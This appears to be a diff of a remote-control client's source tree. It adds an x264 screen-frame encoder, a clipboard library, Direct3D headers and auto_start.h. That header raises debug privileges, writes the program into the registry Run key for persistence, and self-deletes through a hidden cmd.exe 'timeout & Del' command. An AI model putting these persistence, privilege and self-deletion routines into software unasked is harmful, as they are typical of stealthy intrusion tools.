switch (bpp) {
|
||||
case 24:
|
||||
libyuv::RGB24ToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
case 32:
|
||||
libyuv::ARGBToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
default:
|
||||
return -2;
|
||||
}
|
||||
|
||||
|
||||
encode_size = x264_encoder_encode(
|
||||
m_pCodec,
|
||||
&pNal,
|
||||
&iNal,
|
||||
m_pPicIn,
|
||||
m_pPicOut);
|
||||
|
||||
if (encode_size < 0) {
|
||||
return -3;
|
||||
}
|
||||
|
||||
*lppData = pNal->p_payload;
|
||||
*lpSize = encode_size;
|
||||
return 0;
|
||||
}
|
||||
35
client/X264Encoder.h
Normal file
35
client/X264Encoder.h
Normal file
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
|
||||
extern "C" {
|
||||
#include <libyuv\libyuv.h>
|
||||
#include <x264\x264.h>
|
||||
}
|
||||
|
||||
class CX264Encoder
|
||||
{
|
||||
private:
|
||||
x264_t* m_pCodec; //编码器实例
|
||||
x264_picture_t *m_pPicIn;
|
||||
x264_picture_t *m_pPicOut;
|
||||
x264_param_t m_Param;
|
||||
public:
|
||||
bool open(int width, int height, int fps, int crf);
|
||||
bool open(x264_param_t * param);
|
||||
|
||||
void close();
|
||||
|
||||
int encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction = 1
|
||||
);
|
||||
|
||||
CX264Encoder();
|
||||
~CX264Encoder();
|
||||
};
|
||||
|
||||
125
client/auto_start.h
Normal file
125
client/auto_start.h
Normal file
@@ -0,0 +1,125 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
// 提升权限
|
||||
inline int DebugPrivilege()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
|
||||
return -1;
|
||||
|
||||
// 动态分配空间,包含 3 个 LUID
|
||||
TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES));
|
||||
if (!tp) {
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 1;
|
||||
}
|
||||
|
||||
tp->PrivilegeCount = 3;
|
||||
|
||||
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) {
|
||||
free(tp);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 2;
|
||||
}
|
||||
tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) {
|
||||
free(tp);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 3;
|
||||
}
|
||||
tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) {
|
||||
free(tp);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 4;
|
||||
}
|
||||
tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL);
|
||||
|
||||
free(tp);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 0;
|
||||
}
|
||||
|
||||
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
||||
|
||||
/**
|
||||
* @brief 设置本身开机自启动
|
||||
* @param[in] *sPath 注册表的路径
|
||||
* @param[in] *sNmae 注册表项名称
|
||||
* @return 返回注册结果
|
||||
* @details Win7 64位机器上测试结果表明,注册项在:\n
|
||||
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||
* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项
|
||||
*/
|
||||
inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Log)
|
||||
{
|
||||
#define _Mprintf(format, ...) if (Log) Log(__FILE__, __LINE__, format, __VA_ARGS__)
|
||||
|
||||
int n = DebugPrivilege();
|
||||
if (n != 0) {
|
||||
_Mprintf("提升权限失败,错误码:%d\n", n);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 写入的注册表路径
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
|
||||
// 在注册表中写入启动信息
|
||||
HKEY hKey = NULL;
|
||||
LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||
|
||||
// 判断是否成功
|
||||
if (lRet != ERROR_SUCCESS) {
|
||||
_Mprintf("打开注册表失败,错误码:%d\n", lRet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||
|
||||
if (lRet != ERROR_SUCCESS) {
|
||||
_Mprintf("写入注册表失败,错误码:%d\n", lRet);
|
||||
} else {
|
||||
_Mprintf("写入注册表成功:%s -> %s\n", sNmae, sPath);
|
||||
}
|
||||
|
||||
// 关闭注册表
|
||||
RegCloseKey(hKey);
|
||||
|
||||
#undef _Mprintf
|
||||
|
||||
// 判断是否成功
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
inline bool markForDeleteOnReboot(const char* file)
|
||||
{
|
||||
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
|
||||
}
|
||||
|
||||
inline BOOL self_del(int timeoutSecond=3)
|
||||
{
|
||||
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
|
||||
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
|
||||
return FALSE;
|
||||
|
||||
markForDeleteOnReboot(file);
|
||||
|
||||
sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file);
|
||||
|
||||
STARTUPINFO si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
si.cb = sizeof(si);
|
||||
|
||||
if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
|
||||
SAFE_CLOSE_HANDLE(pi.hThread);
|
||||
SAFE_CLOSE_HANDLE(pi.hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
44
client/clang_rt_compat.c
Normal file
44
client/clang_rt_compat.c
Normal file
@@ -0,0 +1,44 @@
|
||||
// clang_rt_compat.c
|
||||
// 兼容 32 位 Clang 编译的 libx264 运行时函数
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
#pragma comment(linker, "/alternatename:__ultof3=_ultof3_impl")
|
||||
#pragma comment(linker, "/alternatename:__dtoul3_legacy=_dtoul3_impl")
|
||||
#pragma comment(linker, "/alternatename:__dtol3=_dtol3_impl")
|
||||
#pragma comment(linker, "/alternatename:__ltod3=_ltod3_impl")
|
||||
#pragma comment(linker, "/alternatename:__ultod3=_ultod3_impl")
|
||||
|
||||
// unsigned long long to float
|
||||
float __cdecl ultof3_impl(unsigned long long a)
|
||||
{
|
||||
return (float)a;
|
||||
}
|
||||
|
||||
// double to unsigned long long
|
||||
unsigned long long __cdecl dtoul3_impl(double a)
|
||||
{
|
||||
if (a < 0) return 0;
|
||||
if (a >= 18446744073709551616.0) return 0xFFFFFFFFFFFFFFFFULL;
|
||||
return (unsigned long long)a;
|
||||
}
|
||||
|
||||
// double to long long
|
||||
long long __cdecl dtol3_impl(double a)
|
||||
{
|
||||
return (long long)a;
|
||||
}
|
||||
|
||||
// long long to double
|
||||
double __cdecl ltod3_impl(long long a)
|
||||
{
|
||||
return (double)a;
|
||||
}
|
||||
|
||||
// unsigned long long to double
|
||||
double __cdecl ultod3_impl(unsigned long long a)
|
||||
{
|
||||
return (double)a;
|
||||
}
|
||||
|
||||
#endif
|
||||
224
client/clip.h
Normal file
224
client/clip.h
Normal file
@@ -0,0 +1,224 @@
|
||||
// Clip Library
|
||||
// Copyright (c) 2015-2024 David Capello
|
||||
//
|
||||
// This file is released under the terms of the MIT license.
|
||||
// Read LICENSE.txt for more information.
|
||||
|
||||
#ifndef CLIP_H_INCLUDED
|
||||
#define CLIP_H_INCLUDED
|
||||
#pragma once
|
||||
|
||||
#include <cassert>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace clip
|
||||
{
|
||||
|
||||
// ======================================================================
|
||||
// Low-level API to lock the clipboard/pasteboard and modify it
|
||||
// ======================================================================
|
||||
|
||||
// Clipboard format identifier.
|
||||
typedef size_t format;
|
||||
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
class image;
|
||||
struct image_spec;
|
||||
#endif // CLIP_ENABLE_IMAGE
|
||||
|
||||
#if CLIP_ENABLE_LIST_FORMATS
|
||||
struct format_info {
|
||||
format id = 0;
|
||||
std::string name;
|
||||
format_info(const format id,
|
||||
const std::string& name)
|
||||
: id(id),
|
||||
name(name)
|
||||
{
|
||||
}
|
||||
};
|
||||
#endif // CLIP_ENABLE_LIST_FORMATS
|
||||
|
||||
class lock
|
||||
{
|
||||
public:
|
||||
// You can give your current HWND as the "native_window_handle."
|
||||
// Windows clipboard functions use this handle to open/close
|
||||
// (lock/unlock) the clipboard. From the MSDN documentation we
|
||||
// need this handler so SetClipboardData() doesn't fail after a
|
||||
// EmptyClipboard() call. Anyway it looks to work just fine if we
|
||||
// call OpenClipboard() with a null HWND.
|
||||
lock(void* native_window_handle = nullptr);
|
||||
~lock();
|
||||
|
||||
// Returns true if we've locked the clipboard successfully in
|
||||
// lock() constructor.
|
||||
bool locked() const;
|
||||
|
||||
// Clears the clipboard content. If you don't clear the content,
|
||||
// previous clipboard content (in unknown formats) could persist
|
||||
// after the unlock.
|
||||
bool clear();
|
||||
|
||||
// Returns true if the clipboard can be converted to the given
|
||||
// format.
|
||||
bool is_convertible(format f) const;
|
||||
bool set_data(format f, const char* buf, size_t len);
|
||||
bool get_data(format f, char* buf, size_t len) const;
|
||||
size_t get_data_length(format f) const;
|
||||
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
// For images
|
||||
bool set_image(const image& image);
|
||||
bool get_image(image& image) const;
|
||||
bool get_image_spec(image_spec& spec) const;
|
||||
#endif // CLIP_ENABLE_IMAGE
|
||||
|
||||
#if CLIP_ENABLE_LIST_FORMATS
|
||||
// Returns the list of available formats (by name) in the
|
||||
// clipboard.
|
||||
std::vector<format_info> list_formats() const;
|
||||
#endif // CLIP_ENABLE_LIST_FORMATS
|
||||
|
||||
private:
|
||||
class impl;
|
||||
std::unique_ptr<impl> p;
|
||||
};
|
||||
|
||||
format register_format(const std::string& name);
|
||||
|
||||
// This format is when the clipboard has no content.
|
||||
format empty_format();
|
||||
|
||||
// When the clipboard has UTF8 text.
|
||||
format text_format();
|
||||
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
// When the clipboard has an image.
|
||||
format image_format();
|
||||
#endif
|
||||
|
||||
// Returns true if the clipboard has content of the given type.
|
||||
bool has(format f);
|
||||
|
||||
// Clears the clipboard content.
|
||||
bool clear();
|
||||
|
||||
// ======================================================================
|
||||
// Error handling
|
||||
// ======================================================================
|
||||
|
||||
enum class ErrorCode {
|
||||
CannotLock,
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
ImageNotSupported,
|
||||
#endif
|
||||
};
|
||||
|
||||
typedef void (*error_handler)(ErrorCode code);
|
||||
|
||||
void set_error_handler(error_handler f);
|
||||
error_handler get_error_handler();
|
||||
|
||||
// ======================================================================
|
||||
// Text
|
||||
// ======================================================================
|
||||
|
||||
// High-level API to put/get UTF8 text in/from the clipboard. These
|
||||
// functions returns false in case of error.
|
||||
bool set_text(const std::string& value);
|
||||
bool get_text(std::string& value);
|
||||
|
||||
// ======================================================================
|
||||
// Image
|
||||
// ======================================================================
|
||||
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
|
||||
struct image_spec {
|
||||
unsigned long width = 0;
|
||||
unsigned long height = 0;
|
||||
unsigned long bits_per_pixel = 0;
|
||||
unsigned long bytes_per_row = 0;
|
||||
unsigned long red_mask = 0;
|
||||
unsigned long green_mask = 0;
|
||||
unsigned long blue_mask = 0;
|
||||
unsigned long alpha_mask = 0;
|
||||
unsigned long red_shift = 0;
|
||||
unsigned long green_shift = 0;
|
||||
unsigned long blue_shift = 0;
|
||||
unsigned long alpha_shift = 0;
|
||||
|
||||
unsigned long required_data_size() const;
|
||||
};
|
||||
|
||||
// The image data must contain straight RGB values
|
||||
// (non-premultiplied by alpha). The image retrieved from the
|
||||
// clipboard will be non-premultiplied too. Basically you will be
|
||||
// always dealing with straight alpha images.
|
||||
//
|
||||
// Details: Windows expects premultiplied images on its clipboard
|
||||
// content, so the library code make the proper conversion
|
||||
// automatically. macOS handles straight alpha directly, so there is
|
||||
// no conversion at all. Linux/X11 images are transferred in
|
||||
// image/png format which are specified in straight alpha.
|
||||
class image
|
||||
{
|
||||
public:
|
||||
image();
|
||||
image(const image_spec& spec);
|
||||
image(const void* data, const image_spec& spec);
|
||||
image(const image& image);
|
||||
image(image&& image);
|
||||
~image();
|
||||
|
||||
image& operator=(const image& image);
|
||||
image& operator=(image&& image);
|
||||
|
||||
char* data() const
|
||||
{
|
||||
return m_data;
|
||||
}
|
||||
const image_spec& spec() const
|
||||
{
|
||||
return m_spec;
|
||||
}
|
||||
|
||||
bool is_valid() const
|
||||
{
|
||||
return m_data != nullptr;
|
||||
}
|
||||
void reset();
|
||||
|
||||
private:
|
||||
void copy_image(const image& image);
|
||||
void move_image(image&& image);
|
||||
|
||||
bool m_own_data;
|
||||
char* m_data;
|
||||
image_spec m_spec;
|
||||
};
|
||||
|
||||
// High-level API to set/get an image in/from the clipboard. These
|
||||
// functions returns false in case of error.
|
||||
bool set_image(const image& img);
|
||||
bool get_image(image& img);
|
||||
bool get_image_spec(image_spec& spec);
|
||||
|
||||
#endif // CLIP_ENABLE_IMAGE
|
||||
|
||||
// ======================================================================
|
||||
// Platform-specific
|
||||
// ======================================================================
|
||||
|
||||
// Only for X11: Sets the time (in milliseconds) that we must wait
|
||||
// for the selection/clipboard owner to receive the content. This
|
||||
// value is 1000 (one second) by default.
|
||||
void set_x11_wait_timeout(int msecs);
|
||||
int get_x11_wait_timeout();
|
||||
|
||||
} // namespace clip
|
||||
|
||||
#endif // CLIP_H_INCLUDED
|
||||
1696
client/d3d/d3d.h
Normal file
1696
client/d3d/d3d.h
Normal file
File diff suppressed because it is too large
Load Diff
609
client/d3d/d3dcaps.h
Normal file
609
client/d3d/d3dcaps.h
Normal file
@@ -0,0 +1,609 @@
|
||||
/*==========================================================================;
|
||||
*
|
||||
* Copyright (C) Microsoft Corporation. All Rights Reserved.
|
||||
*
|
||||
* File: d3dcaps.h
|
||||
* Content: Direct3D capabilities include file
|
||||
*
|
||||
***************************************************************************/
|
||||
|
||||
#include <winapifamily.h>
|
||||
|
||||
#pragma region Desktop Family
|
||||
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
|
||||
#ifndef _D3DCAPS_H
|
||||
#define _D3DCAPS_H
|
||||
|
||||
/*
|
||||
* Pull in DirectDraw include file automatically:
|
||||
*/
|
||||
#include "ddraw.h"
|
||||
|
||||
#ifndef DIRECT3D_VERSION
|
||||
#define DIRECT3D_VERSION 0x0700
|
||||
#endif
|
||||
|
||||
#if defined(_X86_) || defined(_IA64_)
|
||||
#pragma pack(4)
|
||||
#endif
|
||||
|
||||
/* Description of capabilities of transform */
|
||||
|
||||
typedef struct _D3DTRANSFORMCAPS {
|
||||
DWORD dwSize;
|
||||
DWORD dwCaps;
|
||||
} D3DTRANSFORMCAPS, *LPD3DTRANSFORMCAPS;
|
||||
|
||||
#define D3DTRANSFORMCAPS_CLIP 0x00000001L /* Will clip whilst transforming */
|
||||
|
||||
/* Description of capabilities of lighting */
|
||||
|
||||
typedef struct _D3DLIGHTINGCAPS {
|
||||
DWORD dwSize;
|
||||
DWORD dwCaps; /* Lighting caps */
|
||||
DWORD dwLightingModel; /* Lighting model - RGB or mono */
|
||||
DWORD dwNumLights; /* Number of lights that can be handled */
|
||||
} D3DLIGHTINGCAPS, *LPD3DLIGHTINGCAPS;
|
||||
|
||||
#define D3DLIGHTINGMODEL_RGB 0x00000001L
|
||||
#define D3DLIGHTINGMODEL_MONO 0x00000002L
|
||||
|
||||
#define D3DLIGHTCAPS_POINT 0x00000001L /* Point lights supported */
|
||||
#define D3DLIGHTCAPS_SPOT 0x00000002L /* Spot lights supported */
|
||||
#define D3DLIGHTCAPS_DIRECTIONAL 0x00000004L /* Directional lights supported */
|
||||
#if(DIRECT3D_VERSION < 0x700)
|
||||
#define D3DLIGHTCAPS_PARALLELPOINT 0x00000008L /* Parallel point lights supported */
|
||||
#endif
|
||||
#if(DIRECT3D_VERSION < 0x500)
|
||||
#define D3DLIGHTCAPS_GLSPOT 0x00000010L /* GL syle spot lights supported */
|
||||
#endif
|
||||
|
||||
/* Description of capabilities for each primitive type */
|
||||
|
||||
typedef struct _D3DPrimCaps {
|
||||
DWORD dwSize;
|
||||
DWORD dwMiscCaps; /* Capability flags */
|
||||
DWORD dwRasterCaps;
|
||||
DWORD dwZCmpCaps;
|
||||
DWORD dwSrcBlendCaps;
|
||||
DWORD dwDestBlendCaps;
|
||||
DWORD dwAlphaCmpCaps;
|
||||
DWORD dwShadeCaps;
|
||||
DWORD dwTextureCaps;
|
||||
DWORD dwTextureFilterCaps;
|
||||
DWORD dwTextureBlendCaps;
|
||||
DWORD dwTextureAddressCaps;
|
||||
DWORD dwStippleWidth; /* maximum width and height of */
|
||||
DWORD dwStippleHeight; /* of supported stipple (up to 32x32) */
|
||||
} D3DPRIMCAPS, *LPD3DPRIMCAPS;
|
||||
|
||||
/* D3DPRIMCAPS dwMiscCaps */
|
||||
|
||||
#define D3DPMISCCAPS_MASKPLANES 0x00000001L
|
||||
#define D3DPMISCCAPS_MASKZ 0x00000002L
|
||||
#define D3DPMISCCAPS_LINEPATTERNREP 0x00000004L
|
||||
#define D3DPMISCCAPS_CONFORMANT 0x00000008L
|
||||
#define D3DPMISCCAPS_CULLNONE 0x00000010L
|
||||
#define D3DPMISCCAPS_CULLCW 0x00000020L
|
||||
#define D3DPMISCCAPS_CULLCCW 0x00000040L
|
||||
|
||||
/* D3DPRIMCAPS dwRasterCaps */
|
||||
|
||||
#define D3DPRASTERCAPS_DITHER 0x00000001L
|
||||
#define D3DPRASTERCAPS_ROP2 0x00000002L
|
||||
#define D3DPRASTERCAPS_XOR 0x00000004L
|
||||
#define D3DPRASTERCAPS_PAT 0x00000008L
|
||||
#define D3DPRASTERCAPS_ZTEST 0x00000010L
|
||||
#define D3DPRASTERCAPS_SUBPIXEL 0x00000020L
|
||||
#define D3DPRASTERCAPS_SUBPIXELX 0x00000040L
|
||||
#define D3DPRASTERCAPS_FOGVERTEX 0x00000080L
|
||||
#define D3DPRASTERCAPS_FOGTABLE 0x00000100L
|
||||
#define D3DPRASTERCAPS_STIPPLE 0x00000200L
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DPRASTERCAPS_ANTIALIASSORTDEPENDENT 0x00000400L
|
||||
#define D3DPRASTERCAPS_ANTIALIASSORTINDEPENDENT 0x00000800L
|
||||
#define D3DPRASTERCAPS_ANTIALIASEDGES 0x00001000L
|
||||
#define D3DPRASTERCAPS_MIPMAPLODBIAS 0x00002000L
|
||||
#define D3DPRASTERCAPS_ZBIAS 0x00004000L
|
||||
#define D3DPRASTERCAPS_ZBUFFERLESSHSR 0x00008000L
|
||||
#define D3DPRASTERCAPS_FOGRANGE 0x00010000L
|
||||
#define D3DPRASTERCAPS_ANISOTROPY 0x00020000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
#define D3DPRASTERCAPS_WBUFFER 0x00040000L
|
||||
#define D3DPRASTERCAPS_TRANSLUCENTSORTINDEPENDENT 0x00080000L
|
||||
#define D3DPRASTERCAPS_WFOG 0x00100000L
|
||||
#define D3DPRASTERCAPS_ZFOG 0x00200000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
|
||||
/* D3DPRIMCAPS dwZCmpCaps, dwAlphaCmpCaps */
|
||||
|
||||
#define D3DPCMPCAPS_NEVER 0x00000001L
|
||||
#define D3DPCMPCAPS_LESS 0x00000002L
|
||||
#define D3DPCMPCAPS_EQUAL 0x00000004L
|
||||
#define D3DPCMPCAPS_LESSEQUAL 0x00000008L
|
||||
#define D3DPCMPCAPS_GREATER 0x00000010L
|
||||
#define D3DPCMPCAPS_NOTEQUAL 0x00000020L
|
||||
#define D3DPCMPCAPS_GREATEREQUAL 0x00000040L
|
||||
#define D3DPCMPCAPS_ALWAYS 0x00000080L
|
||||
|
||||
/* D3DPRIMCAPS dwSourceBlendCaps, dwDestBlendCaps */
|
||||
|
||||
#define D3DPBLENDCAPS_ZERO 0x00000001L
|
||||
#define D3DPBLENDCAPS_ONE 0x00000002L
|
||||
#define D3DPBLENDCAPS_SRCCOLOR 0x00000004L
|
||||
#define D3DPBLENDCAPS_INVSRCCOLOR 0x00000008L
|
||||
#define D3DPBLENDCAPS_SRCALPHA 0x00000010L
|
||||
#define D3DPBLENDCAPS_INVSRCALPHA 0x00000020L
|
||||
#define D3DPBLENDCAPS_DESTALPHA 0x00000040L
|
||||
#define D3DPBLENDCAPS_INVDESTALPHA 0x00000080L
|
||||
#define D3DPBLENDCAPS_DESTCOLOR 0x00000100L
|
||||
#define D3DPBLENDCAPS_INVDESTCOLOR 0x00000200L
|
||||
#define D3DPBLENDCAPS_SRCALPHASAT 0x00000400L
|
||||
#define D3DPBLENDCAPS_BOTHSRCALPHA 0x00000800L
|
||||
#define D3DPBLENDCAPS_BOTHINVSRCALPHA 0x00001000L
|
||||
|
||||
/* D3DPRIMCAPS dwShadeCaps */
|
||||
|
||||
#define D3DPSHADECAPS_COLORFLATMONO 0x00000001L
|
||||
#define D3DPSHADECAPS_COLORFLATRGB 0x00000002L
|
||||
#define D3DPSHADECAPS_COLORGOURAUDMONO 0x00000004L
|
||||
#define D3DPSHADECAPS_COLORGOURAUDRGB 0x00000008L
|
||||
#define D3DPSHADECAPS_COLORPHONGMONO 0x00000010L
|
||||
#define D3DPSHADECAPS_COLORPHONGRGB 0x00000020L
|
||||
|
||||
#define D3DPSHADECAPS_SPECULARFLATMONO 0x00000040L
|
||||
#define D3DPSHADECAPS_SPECULARFLATRGB 0x00000080L
|
||||
#define D3DPSHADECAPS_SPECULARGOURAUDMONO 0x00000100L
|
||||
#define D3DPSHADECAPS_SPECULARGOURAUDRGB 0x00000200L
|
||||
#define D3DPSHADECAPS_SPECULARPHONGMONO 0x00000400L
|
||||
#define D3DPSHADECAPS_SPECULARPHONGRGB 0x00000800L
|
||||
|
||||
#define D3DPSHADECAPS_ALPHAFLATBLEND 0x00001000L
|
||||
#define D3DPSHADECAPS_ALPHAFLATSTIPPLED 0x00002000L
|
||||
#define D3DPSHADECAPS_ALPHAGOURAUDBLEND 0x00004000L
|
||||
#define D3DPSHADECAPS_ALPHAGOURAUDSTIPPLED 0x00008000L
|
||||
#define D3DPSHADECAPS_ALPHAPHONGBLEND 0x00010000L
|
||||
#define D3DPSHADECAPS_ALPHAPHONGSTIPPLED 0x00020000L
|
||||
|
||||
#define D3DPSHADECAPS_FOGFLAT 0x00040000L
|
||||
#define D3DPSHADECAPS_FOGGOURAUD 0x00080000L
|
||||
#define D3DPSHADECAPS_FOGPHONG 0x00100000L
|
||||
|
||||
/* D3DPRIMCAPS dwTextureCaps */
|
||||
|
||||
/*
|
||||
* Perspective-correct texturing is supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_PERSPECTIVE 0x00000001L
|
||||
|
||||
/*
|
||||
* Power-of-2 texture dimensions are required
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_POW2 0x00000002L
|
||||
|
||||
/*
|
||||
* Alpha in texture pixels is supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_ALPHA 0x00000004L
|
||||
|
||||
/*
|
||||
* Color-keyed textures are supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_TRANSPARENCY 0x00000008L
|
||||
|
||||
/*
|
||||
* obsolete, see D3DPTADDRESSCAPS_BORDER
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_BORDER 0x00000010L
|
||||
|
||||
/*
|
||||
* Only square textures are supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_SQUAREONLY 0x00000020L
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
/*
|
||||
* Texture indices are not scaled by the texture size prior
|
||||
* to interpolation.
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_TEXREPEATNOTSCALEDBYSIZE 0x00000040L
|
||||
|
||||
/*
|
||||
* Device can draw alpha from texture palettes
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_ALPHAPALETTE 0x00000080L
|
||||
|
||||
/*
|
||||
* Device can use non-POW2 textures if:
|
||||
* 1) D3DTEXTURE_ADDRESS is set to CLAMP for this texture's stage
|
||||
* 2) D3DRS_WRAP(N) is zero for this texture's coordinates
|
||||
* 3) mip mapping is not enabled (use magnification filter only)
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_NONPOW2CONDITIONAL 0x00000100L
|
||||
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
|
||||
// 0x00000200L unused
|
||||
|
||||
/*
|
||||
* Device can divide transformed texture coordinates by the
|
||||
* COUNTth texture coordinate (can do D3DTTFF_PROJECTED)
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_PROJECTED 0x00000400L
|
||||
|
||||
/*
|
||||
* Device can do cubemap textures
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_CUBEMAP 0x00000800L
|
||||
|
||||
#define D3DPTEXTURECAPS_COLORKEYBLEND 0x00001000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
/* D3DPRIMCAPS dwTextureFilterCaps */
|
||||
|
||||
#define D3DPTFILTERCAPS_NEAREST 0x00000001L
|
||||
#define D3DPTFILTERCAPS_LINEAR 0x00000002L
|
||||
#define D3DPTFILTERCAPS_MIPNEAREST 0x00000004L
|
||||
#define D3DPTFILTERCAPS_MIPLINEAR 0x00000008L
|
||||
#define D3DPTFILTERCAPS_LINEARMIPNEAREST 0x00000010L
|
||||
#define D3DPTFILTERCAPS_LINEARMIPLINEAR 0x00000020L
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
/* Device3 Min Filter */
|
||||
#define D3DPTFILTERCAPS_MINFPOINT 0x00000100L
|
||||
#define D3DPTFILTERCAPS_MINFLINEAR 0x00000200L
|
||||
#define D3DPTFILTERCAPS_MINFANISOTROPIC 0x00000400L
|
||||
|
||||
/* Device3 Mip Filter */
|
||||
#define D3DPTFILTERCAPS_MIPFPOINT 0x00010000L
|
||||
#define D3DPTFILTERCAPS_MIPFLINEAR 0x00020000L
|
||||
|
||||
/* Device3 Mag Filter */
|
||||
#define D3DPTFILTERCAPS_MAGFPOINT 0x01000000L
|
||||
#define D3DPTFILTERCAPS_MAGFLINEAR 0x02000000L
|
||||
#define D3DPTFILTERCAPS_MAGFANISOTROPIC 0x04000000L
|
||||
#define D3DPTFILTERCAPS_MAGFAFLATCUBIC 0x08000000L
|
||||
#define D3DPTFILTERCAPS_MAGFGAUSSIANCUBIC 0x10000000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
|
||||
/* D3DPRIMCAPS dwTextureBlendCaps */
|
||||
|
||||
#define D3DPTBLENDCAPS_DECAL 0x00000001L
|
||||
#define D3DPTBLENDCAPS_MODULATE 0x00000002L
|
||||
#define D3DPTBLENDCAPS_DECALALPHA 0x00000004L
|
||||
#define D3DPTBLENDCAPS_MODULATEALPHA 0x00000008L
|
||||
#define D3DPTBLENDCAPS_DECALMASK 0x00000010L
|
||||
#define D3DPTBLENDCAPS_MODULATEMASK 0x00000020L
|
||||
#define D3DPTBLENDCAPS_COPY 0x00000040L
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DPTBLENDCAPS_ADD 0x00000080L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
|
||||
/* D3DPRIMCAPS dwTextureAddressCaps */
|
||||
#define D3DPTADDRESSCAPS_WRAP 0x00000001L
|
||||
